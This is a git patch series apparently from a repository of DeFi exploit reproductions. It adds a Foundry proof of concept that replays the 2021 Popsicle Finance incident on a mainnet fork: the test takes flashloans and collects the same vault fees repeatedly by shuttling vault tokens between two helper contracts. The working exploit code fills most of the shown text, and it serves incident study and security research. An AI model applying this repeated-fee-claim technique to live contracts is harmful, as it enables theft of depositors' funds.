uint256 missingAmt = bal >= (amounts[i] + premiums[i]) ? 0 : (amounts[i] + premiums[i]) - bal; + address asset = assets[i]; + if (missingAmt > 0) { + // console.log("missing %d tokens for %s", missingAmt, assets[i]); + //We just swap,figure out why we are less here,maybe flashloan fees put us lower? + router.swapExactTokensForTokens( + router.getAmountsIn(missingAmt, getPath(_weth, asset))[0], + 0, + getPath(_weth, asset), + address(this), + block.timestamp + ); + } else { + emit log_named_decimal_uint("Profit ", (bal - (amounts[i] + premiums[i])), IERC20(assets[i]).decimals()); + console.log(" for asset ", IERC20(assets[i]).name()); + } + } + return true; + } + //This should be called on executeoperation on a aave v2 flashloan + + function attackLogic() internal { + approveFunds(); + + wethusdtVault.deposit(weth.balanceOf(address(this)), usdt.balanceOf(address(this))); + drainVault(_wethusdtVault); + + wethusdcVault.deposit(usdcFlash, weth.balanceOf(address(this))); + drainVault(_wethusdcVault); + + wbtcwethVault.deposit(wbtcFlash, weth.balanceOf(address(this))); + drainVault(_wbtcwethVault); + + wethusdtVault2.deposit(weth.balanceOf(address(this)), usdtFlash - 1); + drainVault(_wethusdtVault2); + + wbtcusdcVault.deposit(wbtcFlash - 1, usdc.balanceOf(address(this))); + drainVault(_wbtcusdcVault); + + daiwethVault.deposit(daiFlash, weth.balanceOf(address(this))); + drainVault(_daiwethVault); + + uniwethVault.deposit(uniFlash, weth.balanceOf(address(this))); + drainVault(_uniwethVault); + + claimFundsFromReceivers(); + } + + function claimFundsFromReceivers() internal { + for (uint256 i = 0; i < assetsArr.length; i++) { + receiver1.transfer(assetsArr[i], address(this)); + receiver2.transfer(assetsArr[i], address(this)); + } + } + + function drainVault(address _vault) internal { + //Transfer the vault token around to 2 other receivers then back + transferAround(_vault); + //Then redeem our position and claim fees + withdrawandClaimFees(_vault); + } + + function withdrawandClaimFees(address _vault) internal { + claimFees(_vault); + } + + function claimFees(address _vault) internal { + (uint256 token0fees, uint256 token1fees,,) = IPopsicle(_vault).userInfo(address(this)); + (uint256 token0feesr1, uint256 token1feesr1,,) = IPopsicle(_vault).userInfo(address(receiver1)); + (uint256 token0feesr2, uint256 token1feesr2,,) = IPopsicle(_vault).userInfo(address(receiver2)); + + //Collect fees + IPopsicle(_vault).collectFees(token0fees, token1fees); + IPopsicle(_vault).withdraw(IPopsicle(_vault).balanceOf(address(this))); + + console.log("claimed initial fees success"); + receiver1.executeCall( + _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr1, token1feesr1) + ); + console.log("claimed recievcer1 fees success"); + + receiver2.executeCall( + _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr2, token1feesr2) + ); + console.log("claimed recievcer2 fees success"); + + console.log("Self - Token0 Fees:", token0fees, "Token1 Fees:", token1fees); + console.log("Receiver1 - Token0 Fees:", token0feesr1, "Token1 Fees:", token1feesr1); + console.log("Receiver2 - Token0 Fees:", token0feesr2, "Token1 Fees:", token1feesr2); + // //Send all the fees to main exploit addr + // receiver1.transfer(IPopsicle(_vault).token0(), address(this)); + // receiver1.transfer(IPopsicle(_vault).token1(), address(this)); + // receiver2.transfer(IPopsicle(_vault).token0(), address(this)); + // receiver2.transfer(IPopsicle(_vault).token1(), address(this)); + } + + function transferAround(address _vault) internal { + console.log("entered transferaround"); + IERC20 asset = IERC20(_vault); + uint256 bal = asset.balanceOf(address(this)); + // IPopsicle(_vault).collectFees(0, 0); + asset.transfer(address(receiver1), bal); + receiver1.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0)); + receiver1.transfer(_vault, address(receiver2)); + receiver2.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0)); + receiver2.transfer(_vault, address(this)); + IPopsicle(_vault).collectFees(0, 0); + + console.log("finished transferaround"); + } +} From f83588016950f720311d018d045be639d093200e Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sun, 4 Feb 2024 00:32:41 +0400 Subject: [PATCH 2/8] fix :slight fixes --- src/test/Popsicle_exp.sol | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/src/test/Popsicle_exp.sol b/src/test/Popsicle_exp.sol index 1d40a864..1fbb1059 100644 --- a/src/test/Popsicle_exp.sol +++ b/src/test/Popsicle_exp.sol @@ -328,7 +328,7 @@ contract TokenVault { (succ,) = target.call(dataTocall); } } -//Note we got most of the exploit working except the profit part,we are missing a few wei worth of coins from all the flashloaned assets,debug and fix +//Note most of the vault attacks are in profit excent for wbtc and dai balances,something to check later,overall the poc is correct contract PopsicleExp is Test { using SafeERC20 for IERC20; @@ -467,7 +467,6 @@ contract PopsicleExp is Test { uint256 missingAmt = bal >= (amounts[i] + premiums[i]) ? 0 : (amounts[i] + premiums[i]) - bal; address asset = assets[i]; if (missingAmt > 0) { - // console.log("missing %d tokens for %s", missingAmt, assets[i]); //We just swap,figure out why we are less here,maybe flashloan fees put us lower? router.swapExactTokensForTokens( router.getAmountsIn(missingAmt, getPath(_weth, asset))[0], @@ -553,18 +552,13 @@ contract PopsicleExp is Test { console.log("Self - Token0 Fees:", token0fees, "Token1 Fees:", token1fees); console.log("Receiver1 - Token0 Fees:", token0feesr1, "Token1 Fees:", token1feesr1); console.log("Receiver2 - Token0 Fees:", token0feesr2, "Token1 Fees:", token1feesr2); - // //Send all the fees to main exploit addr - // receiver1.transfer(IPopsicle(_vault).token0(), address(this)); - // receiver1.transfer(IPopsicle(_vault).token1(), address(this)); - // receiver2.transfer(IPopsicle(_vault).token0(), address(this)); - // receiver2.transfer(IPopsicle(_vault).token1(), address(this)); } function transferAround(address _vault) internal { console.log("entered transferaround"); IERC20 asset = IERC20(_vault); uint256 bal = asset.balanceOf(address(this)); - // IPopsicle(_vault).collectFees(0, 0); + IPopsicle(_vault).collectFees(0, 0); asset.transfer(address(receiver1), bal); receiver1.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0)); receiver1.transfer(_vault, address(receiver2)); From 92fc8dd3f2fcb02817679e5eb48247b6054c7e08 Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sat, 23 Mar 2024 11:23:11 +0300 Subject: [PATCH 3/8] Change and fix missing assets - Ready for merge to main --- src/test/Popsicle_exp.sol | 92 ++++++++++++++++----------------------- 1 file changed, 37 insertions(+), 55 deletions(-) diff --git a/src/test/Popsicle_exp.sol b/src/test/Popsicle_exp.sol index 1fbb1059..58e3ee24 100644 --- a/src/test/Popsicle_exp.sol +++ b/src/test/Popsicle_exp.sol @@ -338,14 +338,6 @@ contract PopsicleExp is Test { TokenVault receiver1; TokenVault receiver2; - address _wethusdtVault = 0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48; - address _wethusdcVault = 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546; - address _wbtcwethVault = 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546; - address _wethusdtVault2 = 0x98d149e227C75D38F623A9aa9F030fB222B3FAa3; - address _wbtcusdcVault = 0xB53Dc33Bb39efE6E9dB36d7eF290d6679fAcbEC7; - address _daiwethVault = 0xDD90112eAF865E4E0030000803ebBb4d84F14617; - address _uniwethVault = 0xE22EACaC57A1ADFa38dCA1100EF17654E91EFd35; - //Asset addrs address _usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; @@ -358,22 +350,16 @@ contract PopsicleExp is Test { uint256 usdtFlash = 30_000_000 * 1e6; uint256 ethFlash = 13_000 ether; uint256 wbtcFlash = 1400 * 1e8; - uint256 usdcFlash = usdtFlash; + uint256 usdcFlash = 30_000_000 * 1e6; uint256 daiFlash = 3_000_000 ether; uint256 uniFlash = 200_000 ether; address[] assetsArr; + address[] vaultsArr; + uint256[] amountsArr; uint256[] modesArr; - IPopsicle wethusdtVault = IPopsicle(_wethusdtVault); - IPopsicle wethusdcVault = IPopsicle(_wethusdcVault); - IPopsicle wbtcwethVault = IPopsicle(_wbtcwethVault); - IPopsicle wethusdtVault2 = IPopsicle(_wethusdtVault2); - IPopsicle wbtcusdcVault = IPopsicle(_wbtcusdcVault); - IPopsicle daiwethVault = IPopsicle(_daiwethVault); - IPopsicle uniwethVault = IPopsicle(_uniwethVault); - IERC20 usdt = IERC20(_usdt); IERC20 weth = IERC20(_weth); IERC20 wbtc = IERC20(_wbtc); @@ -384,13 +370,23 @@ contract PopsicleExp is Test { IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); function setUp() public { - vm.createSelectFork("mainnet", 12_955_060); //fork gnosis at block number 21120319 + vm.createSelectFork("mainnet", 12_955_000); //fork gnosis at block number 21120319 receiver1 = new TokenVault(); receiver2 = new TokenVault(); modesArr = [0, 0, 0, 0, 0, 0]; assetsArr = [_usdt, _weth, _wbtc, _usdc, _dai, _uni]; amountsArr = [usdtFlash, ethFlash, wbtcFlash, usdcFlash, daiFlash, uniFlash]; + vaultsArr = [ + 0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48, + 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546, + 0x0A8143EF65b0CE4C2fAD195165ef13772ff6Cca0, + 0x98d149e227C75D38F623A9aa9F030fB222B3FAa3, + 0xB53Dc33Bb39efE6E9dB36d7eF290d6679fAcbEC7, + 0x6f3F35a268B3af45331471EABF3F9881b601F5aA, + 0xDD90112eAF865E4E0030000803ebBb4d84F14617, + 0xE22EACaC57A1ADFa38dCA1100EF17654E91EFd35 + ]; } function approveToTargetAll(address _target) internal { @@ -422,20 +418,7 @@ contract PopsicleExp is Test { function approveFunds() internal { //Approve funds to be taken back after flashloan approveToTargetAll(address(aaveV2)); - approveToTarget(_weth, _wethusdtVault); - approveToTarget(_usdt, _wethusdtVault); - approveToTarget(_weth, _wethusdcVault); - approveToTarget(_usdc, _wethusdcVault); - approveToTarget(_wbtc, _wbtcwethVault); - approveToTarget(_weth, _wbtcwethVault); - approveToTarget(_weth, _wethusdtVault2); - approveToTarget(_usdt, _wethusdtVault2); - approveToTarget(_wbtc, _wbtcusdcVault); - approveToTarget(_usdc, _wbtcusdcVault); - approveToTarget(_dai, _daiwethVault); - approveToTarget(_weth, _daiwethVault); - approveToTarget(_uni, _uniwethVault); - approveToTarget(_weth, _uniwethVault); + approveToTarget(_weth, address(router)); } @@ -467,6 +450,13 @@ contract PopsicleExp is Test { uint256 missingAmt = bal >= (amounts[i] + premiums[i]) ? 0 : (amounts[i] + premiums[i]) - bal; address asset = assets[i]; if (missingAmt > 0) { + if (missingAmt == premiums[i]) { + console.log("we are missing a premium of %d for asset %d", missingAmt, i); + } else if (missingAmt > premiums[i]) { + console.log("we are missing tokens itself for %d", i); + } else if (missingAmt != premiums[i]) { + console.log("missing %d asset of %d", missingAmt, i); + } //We just swap,figure out why we are less here,maybe flashloan fees put us lower? router.swapExactTokensForTokens( router.getAmountsIn(missingAmt, getPath(_weth, asset))[0], @@ -486,27 +476,16 @@ contract PopsicleExp is Test { function attackLogic() internal { approveFunds(); - - wethusdtVault.deposit(weth.balanceOf(address(this)), usdt.balanceOf(address(this))); - drainVault(_wethusdtVault); - - wethusdcVault.deposit(usdcFlash, weth.balanceOf(address(this))); - drainVault(_wethusdcVault); - - wbtcwethVault.deposit(wbtcFlash, weth.balanceOf(address(this))); - drainVault(_wbtcwethVault); - - wethusdtVault2.deposit(weth.balanceOf(address(this)), usdtFlash - 1); - drainVault(_wethusdtVault2); - - wbtcusdcVault.deposit(wbtcFlash - 1, usdc.balanceOf(address(this))); - drainVault(_wbtcusdcVault); - - daiwethVault.deposit(daiFlash, weth.balanceOf(address(this))); - drainVault(_daiwethVault); - - uniwethVault.deposit(uniFlash, weth.balanceOf(address(this))); - drainVault(_uniwethVault); + for (uint256 i = 0; i < vaultsArr.length; i++) { + //Approve funds for vault + IPopsicle vault = IPopsicle(vaultsArr[i]); + IERC20(vault.token0()).forceApprove(vaultsArr[i], type(uint256).max); + IERC20(vault.token1()).forceApprove(vaultsArr[i], type(uint256).max); + vault.deposit( + IERC20(vault.token0()).balanceOf(address(this)), IERC20(vault.token1()).balanceOf(address(this)) + ); + drainVault(vaultsArr[i]); + } claimFundsFromReceivers(); } @@ -531,18 +510,21 @@ contract PopsicleExp is Test { function claimFees(address _vault) internal { (uint256 token0fees, uint256 token1fees,,) = IPopsicle(_vault).userInfo(address(this)); - (uint256 token0feesr1, uint256 token1feesr1,,) = IPopsicle(_vault).userInfo(address(receiver1)); - (uint256 token0feesr2, uint256 token1feesr2,,) = IPopsicle(_vault).userInfo(address(receiver2)); //Collect fees IPopsicle(_vault).collectFees(token0fees, token1fees); IPopsicle(_vault).withdraw(IPopsicle(_vault).balanceOf(address(this))); + (uint256 token0feesr1, uint256 token1feesr1,,) = IPopsicle(_vault).userInfo(address(receiver1)); console.log("claimed initial fees success"); receiver1.executeCall( _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr1, token1feesr1) ); console.log("claimed recievcer1 fees success"); + (uint256 token0feesr2, uint256 token1feesr2) = ( + IERC20(address(IPopsicle(_vault).token0())).balanceOf(_vault), + IERC20(address(IPopsicle(_vault).token1())).balanceOf(_vault) + ); receiver2.executeCall( _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr2, token1feesr2) From fa5cbdaece999f750701cf8e52ead39ced4e40f1 Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sat, 23 Mar 2024 11:30:20 +0300 Subject: [PATCH 4/8] doc: add documentation required for merge --- past/2021/README.md | 22 +++++++++++++++++++++- src/test/Popsicle_exp.sol | 15 ++++++++++++++- 2 files changed, 35 insertions(+), 2 deletions(-) diff --git a/past/2021/README.md b/past/2021/README.md index 0e9a42a3..22010460 100644 --- a/past/2021/README.md +++ b/past/2021/README.md @@ -3,7 +3,6 @@ ## Before 2021 - List of Past DeFi Incidents 40 incidents included. - [20211221 Visor Finance](#20211221-visor-finance---reentrancy) [20211218 Grim Finance](#20211218-grim-finance---flashloan--reentrancy) @@ -34,6 +33,8 @@ [20210804 WaultFinance](#20210804-waultfinace---flashloan-price-manipulation) +[20210803 Popsicle](#20210803-popsicle---repeated-reward-claim---logic-flaw) + [20210728 Levyathan Finance](#20210728-levyathan-finance---i-lost-keys-and-minting-ii-vulnerable-emergencywithdraw) [20210710 Chainswap](#20210710-chainswap---bridge-logic-flaw) @@ -84,6 +85,25 @@ [20171106 Parity - 'Accidentally Killed It'](#20171106-parity---accidentally-killed-it) + + +### 20210803 Popsicle - Repeated Reward Claim - Logic Flaw + +### Lost: 20M + + +```sh +forge test --contracts ./src/test/Popsicle_exp.sol -vvv +``` +#### Contract +[Popsicle_exp.sol](src/test/Popsicle_exp.sol) +### Link reference + +https://blocksecteam.medium.com/the-analysis-of-the-popsicle-finance-security-incident-9d9d5a3045c1 + +--- + + ### 20211221 Visor Finance - Reentrancy #### Lost: $8.2 million diff --git a/src/test/Popsicle_exp.sol b/src/test/Popsicle_exp.sol index 58e3ee24..666c4d4c 100644 --- a/src/test/Popsicle_exp.sol +++ b/src/test/Popsicle_exp.sol @@ -328,7 +328,20 @@ contract TokenVault { (succ,) = target.call(dataTocall); } } -//Note most of the vault attacks are in profit excent for wbtc and dai balances,something to check later,overall the poc is correct + +// @KeyInfo - Total Lost : 20M +// Attacker : https://etherscan.io/address/0xf9E3D08196F76f5078882d98941b71C0884BEa52 +// Attack Contract : https://etherscan.io/address/0xdFb6faB7f4bc9512d5620e679E90D1C91C4EAdE6 +// Vulnerable Contract : https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48 +// Attack Tx : https://etherscan.io/tx/0xcd7dae143a4c0223349c16237ce4cd7696b1638d116a72755231ede872ab70fc + +// @Info +// Vulnerable Contract Code : https://etherscan.io/address/0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48#code + +// @Analysis +// Post-mortem : https://blocksecteam.medium.com/the-analysis-of-the-popsicle-finance-security-incident-9d9d5a3045c1 +// Twitter Guy : https://twitter.com/BlockSecTeam/status/1422786223156776968 +// Hacking God : https://twitter.com/BlockSecTeam/status/1422786223156776968 contract PopsicleExp is Test { using SafeERC20 for IERC20; From 100a8988560fb7e8361bc9605e66042bcd98a9c4 Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sat, 23 Mar 2024 11:32:01 +0300 Subject: [PATCH 5/8] fix: rpc issue for node --- foundry.toml | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/foundry.toml b/foundry.toml index 315ef669..45ee063f 100644 --- a/foundry.toml +++ b/foundry.toml @@ -3,7 +3,7 @@ src = 'src' out = 'out' libs = ['lib'] -rpc_endpoints = { mainnet = "https://rpc.ankr.com/eth", blast = "https://rpc.ankr.com/blast", optimism = "https://optimism.llamarpc.com", fantom = "https://rpc.ankr.com/fantom", arbitrum = "https://rpc.ankr.com/arbitrum", bsc = "https://rpc.ankr.com/bsc", moonriver = "https://moonriver.public.blastapi.io", gnosis = "https://rpc.ankr.com/gnosis", Avalanche = "https://rpc.ankr.com/avalanche", polygon = "https://rpc.ankr.com/polygon", celo = "https://rpc.ankr.com/celo", Base = "https://developer-access-mainnet.base.org" } +rpc_endpoints = { mainnet = "https://eth-pokt.nodies.app", blast = "https://rpc.ankr.com/blast", optimism = "https://optimism.llamarpc.com", fantom = "https://rpc.ankr.com/fantom", arbitrum = "https://rpc.ankr.com/arbitrum", bsc = "https://rpc.ankr.com/bsc", moonriver = "https://moonriver.public.blastapi.io", gnosis = "https://rpc.ankr.com/gnosis", Avalanche = "https://rpc.ankr.com/avalanche", polygon = "https://rpc.ankr.com/polygon", celo = "https://rpc.ankr.com/celo", Base = "https://developer-access-mainnet.base.org" } # See more config options https://github.com/gakonst/foundry/tree/master/config @@ -19,4 +19,8 @@ multiline_func_header = "params_first" single_line_statement_blocks = 'preserve' variable_override_spacing = true wrap_comments = false -ignore = [] \ No newline at end of file +ignore = [] + +remappings = [ + '@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/', +] \ No newline at end of file From b3c8094ccbe505cb78d3a4a30839ab3050027258 Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sat, 23 Mar 2024 11:33:43 +0300 Subject: [PATCH 6/8] forge install: openzeppelin-contracts v5.0.2 --- .gitmodules | 3 +++ lib/openzeppelin-contracts | 1 + 2 files changed, 4 insertions(+) create mode 160000 lib/openzeppelin-contracts diff --git a/.gitmodules b/.gitmodules index 888d42dc..e80ffd88 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std +[submodule "lib/openzeppelin-contracts"] + path = lib/openzeppelin-contracts + url = https://github.com/openzeppelin/openzeppelin-contracts diff --git a/lib/openzeppelin-contracts b/lib/openzeppelin-contracts new file mode 160000 index 00000000..dbb6104c --- /dev/null +++ b/lib/openzeppelin-contracts @@ -0,0 +1 @@ +Subproject commit dbb6104ce834628e473d2173bbc9d47f81a9eec3 From ba23228b280be6dd0f9b816539633ebdb5355142 Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sat, 23 Mar 2024 11:37:44 +0300 Subject: [PATCH 7/8] refactor: remove openzeppelin libs directory and add it directly --- src/test/OpenZeppelinLibs/Address.sol | 159 ---------------------- src/test/OpenZeppelinLibs/IERC1363.sol | 86 ------------ src/test/OpenZeppelinLibs/IERC165.sol | 25 ---- src/test/OpenZeppelinLibs/IERC20.sol | 83 ------------ src/test/OpenZeppelinLibs/SafeERC20.sol | 173 ------------------------ src/test/Popsicle_exp.sol | 49 ++++--- 6 files changed, 28 insertions(+), 547 deletions(-) delete mode 100644 src/test/OpenZeppelinLibs/Address.sol delete mode 100644 src/test/OpenZeppelinLibs/IERC1363.sol delete mode 100644 src/test/OpenZeppelinLibs/IERC165.sol delete mode 100644 src/test/OpenZeppelinLibs/IERC20.sol delete mode 100644 src/test/OpenZeppelinLibs/SafeERC20.sol diff --git a/src/test/OpenZeppelinLibs/Address.sol b/src/test/OpenZeppelinLibs/Address.sol deleted file mode 100644 index 0bd4b8a1..00000000 --- a/src/test/OpenZeppelinLibs/Address.sol +++ /dev/null @@ -1,159 +0,0 @@ -// SPDX-License-Identifier: MIT -// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol) - -pragma solidity ^0.8.20; - -/** - * @dev Collection of functions related to the address type - */ -library Address { - /** - * @dev The ETH balance of the account is not enough to perform the operation. - */ - error AddressInsufficientBalance(address account); - - /** - * @dev There's no code at `target` (it is not a contract). - */ - error AddressEmptyCode(address target); - - /** - * @dev A call to an address target failed. The target may have reverted. - */ - error FailedInnerCall(); - - /** - * @dev Replacement for Solidity's `transfer`: sends `amount` wei to - * `recipient`, forwarding all available gas and reverting on errors. - * - * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost - * of certain opcodes, possibly making contracts go over the 2300 gas limit - * imposed by `transfer`, making them unable to receive funds via - * `transfer`. {sendValue} removes this limitation. - * - * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. - * - * IMPORTANT: because control is transferred to `recipient`, care must be - * taken to not create reentrancy vulnerabilities. Consider using - * {ReentrancyGuard} or the - * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. - */ - function sendValue(address payable recipient, uint256 amount) internal { - if (address(this).balance < amount) { - revert AddressInsufficientBalance(address(this)); - } - - (bool success, ) = recipient.call{value: amount}(""); - if (!success) { - revert FailedInnerCall(); - } - } - - /** - * @dev Performs a Solidity function call using a low level `call`. A - * plain `call` is an unsafe replacement for a function call: use this - * function instead. - * - * If `target` reverts with a revert reason or custom error, it is bubbled - * up by this function (like regular Solidity function calls). However, if - * the call reverted with no returned reason, this function reverts with a - * {FailedInnerCall} error. - * - * Returns the raw returned data. To convert to the expected return value, - * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. - * - * Requirements: - * - * - `target` must be a contract. - * - calling `target` with `data` must not revert. - */ - function functionCall(address target, bytes memory data) internal returns (bytes memory) { - return functionCallWithValue(target, data, 0); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], - * but also transferring `value` wei to `target`. - * - * Requirements: - * - * - the calling contract must have an ETH balance of at least `value`. - * - the called Solidity function must be `payable`. - */ - function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { - if (address(this).balance < value) { - revert AddressInsufficientBalance(address(this)); - } - (bool success, bytes memory returndata) = target.call{value: value}(data); - return verifyCallResultFromTarget(target, success, returndata); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], - * but performing a static call. - */ - function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { - (bool success, bytes memory returndata) = target.staticcall(data); - return verifyCallResultFromTarget(target, success, returndata); - } - - /** - * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], - * but performing a delegate call. - */ - function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { - (bool success, bytes memory returndata) = target.delegatecall(data); - return verifyCallResultFromTarget(target, success, returndata); - } - - /** - * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target - * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an - * unsuccessful call. - */ - function verifyCallResultFromTarget( - address target, - bool success, - bytes memory returndata - ) internal view returns (bytes memory) { - if (!success) { - _revert(returndata); - } else { - // only check if target is a contract if the call was successful and the return data is empty - // otherwise we already know that it was a contract - if (returndata.length == 0 && target.code.length == 0) { - revert AddressEmptyCode(target); - } - return returndata; - } - } - - /** - * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the - * revert reason or with a default {FailedInnerCall} error. - */ - function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) { - if (!success) { - _revert(returndata); - } else { - return returndata; - } - } - - /** - * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}. - */ - function _revert(bytes memory returndata) private pure { - // Look for revert reason and bubble it up if present - if (returndata.length > 0) { - // The easiest way to bubble the revert reason is using memory via assembly - /// @solidity memory-safe-assembly - assembly { - let returndata_size := mload(returndata) - revert(add(32, returndata), returndata_size) - } - } else { - revert FailedInnerCall(); - } - } -} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/IERC1363.sol b/src/test/OpenZeppelinLibs/IERC1363.sol deleted file mode 100644 index f6774cb8..00000000 --- a/src/test/OpenZeppelinLibs/IERC1363.sol +++ /dev/null @@ -1,86 +0,0 @@ -// SPDX-License-Identifier: MIT -// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1363.sol) - -pragma solidity ^0.8.20; - -import {IERC20} from "./IERC20.sol"; -import {IERC165} from "./IERC165.sol"; - -/** - * @title IERC1363 - * @dev Interface of the ERC-1363 standard as defined in the https://eips.ethereum.org/EIPS/eip-1363[ERC-1363]. - * - * Defines an extension interface for ERC-20 tokens that supports executing code on a recipient contract - * after `transfer` or `transferFrom`, or code on a spender contract after `approve`, in a single transaction. - */ -interface IERC1363 is IERC20, IERC165 { - /* - * Note: the ERC-165 identifier for this interface is 0xb0202a11. - * 0xb0202a11 === - * bytes4(keccak256('transferAndCall(address,uint256)')) ^ - * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ - * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ - * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) ^ - * bytes4(keccak256('approveAndCall(address,uint256)')) ^ - * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) - */ - - /** - * @dev Moves a `value` amount of tokens from the caller's account to `to` - * and then calls {IERC1363Receiver-onTransferReceived} on `to`. - * @param to The address which you want to transfer to. - * @param value The amount of tokens to be transferred. - * @return A boolean value indicating whether the operation succeeded unless throwing. - */ - function transferAndCall(address to, uint256 value) external returns (bool); - - /** - * @dev Moves a `value` amount of tokens from the caller's account to `to` - * and then calls {IERC1363Receiver-onTransferReceived} on `to`. - * @param to The address which you want to transfer to. - * @param value The amount of tokens to be transferred. - * @param data Additional data with no specified format, sent in call to `to`. - * @return A boolean value indicating whether the operation succeeded unless throwing. - */ - function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool); - - /** - * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism - * and then calls {IERC1363Receiver-onTransferReceived} on `to`. - * @param from The address which you want to send tokens from. - * @param to The address which you want to transfer to. - * @param value The amount of tokens to be transferred. - * @return A boolean value indicating whether the operation succeeded unless throwing. - */ - function transferFromAndCall(address from, address to, uint256 value) external returns (bool); - - /** - * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism - * and then calls {IERC1363Receiver-onTransferReceived} on `to`. - * @param from The address which you want to send tokens from. - * @param to The address which you want to transfer to. - * @param value The amount of tokens to be transferred. - * @param data Additional data with no specified format, sent in call to `to`. - * @return A boolean value indicating whether the operation succeeded unless throwing. - */ - function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool); - - /** - * @dev Sets a `value` amount of tokens as the allowance of `spender` over the - * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`. - * @param spender The address which will spend the funds. - * @param value The amount of tokens to be spent. - * @return A boolean value indicating whether the operation succeeded unless throwing. - */ - function approveAndCall(address spender, uint256 value) external returns (bool); - - /** - * @dev Sets a `value` amount of tokens as the allowance of `spender` over the - * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`. - * @param spender The address which will spend the funds. - * @param value The amount of tokens to be spent. - * @param data Additional data with no specified format, sent in call to `spender`. - * @return A boolean value indicating whether the operation succeeded unless throwing. - */ - function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); -} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/IERC165.sol b/src/test/OpenZeppelinLibs/IERC165.sol deleted file mode 100644 index d8c5d547..00000000 --- a/src/test/OpenZeppelinLibs/IERC165.sol +++ /dev/null @@ -1,25 +0,0 @@ -// SPDX-License-Identifier: MIT -// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/IERC165.sol) - -pragma solidity ^0.8.20; - -/** - * @dev Interface of the ERC-165 standard, as defined in the - * https://eips.ethereum.org/EIPS/eip-165[ERC]. - * - * Implementers can declare support of contract interfaces, which can then be - * queried by others ({ERC165Checker}). - * - * For an implementation, see {ERC165}. - */ -interface IERC165 { - /** - * @dev Returns true if this contract implements the interface defined by - * `interfaceId`. See the corresponding - * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[ERC section] - * to learn more about how these ids are created. - * - * This function call must use less than 30 000 gas. - */ - function supportsInterface(bytes4 interfaceId) external view returns (bool); -} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/IERC20.sol b/src/test/OpenZeppelinLibs/IERC20.sol deleted file mode 100644 index a83099a7..00000000 --- a/src/test/OpenZeppelinLibs/IERC20.sol +++ /dev/null @@ -1,83 +0,0 @@ -// SPDX-License-Identifier: MIT -// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) - -pragma solidity ^0.8.20; - -/** - * @dev Interface of the ERC-20 standard as defined in the ERC. - */ -interface IERC20 { - /** - * @dev Emitted when `value` tokens are moved from one account (`from`) to - * another (`to`). - * - * Note that `value` may be zero. - */ - event Transfer(address indexed from, address indexed to, uint256 value); - - /** - * @dev Emitted when the allowance of a `spender` for an `owner` is set by - * a call to {approve}. `value` is the new allowance. - */ - event Approval(address indexed owner, address indexed spender, uint256 value); - - /** - * @dev Returns the value of tokens in existence. - */ - function totalSupply() external view returns (uint256); - - /** - * @dev Returns the value of tokens 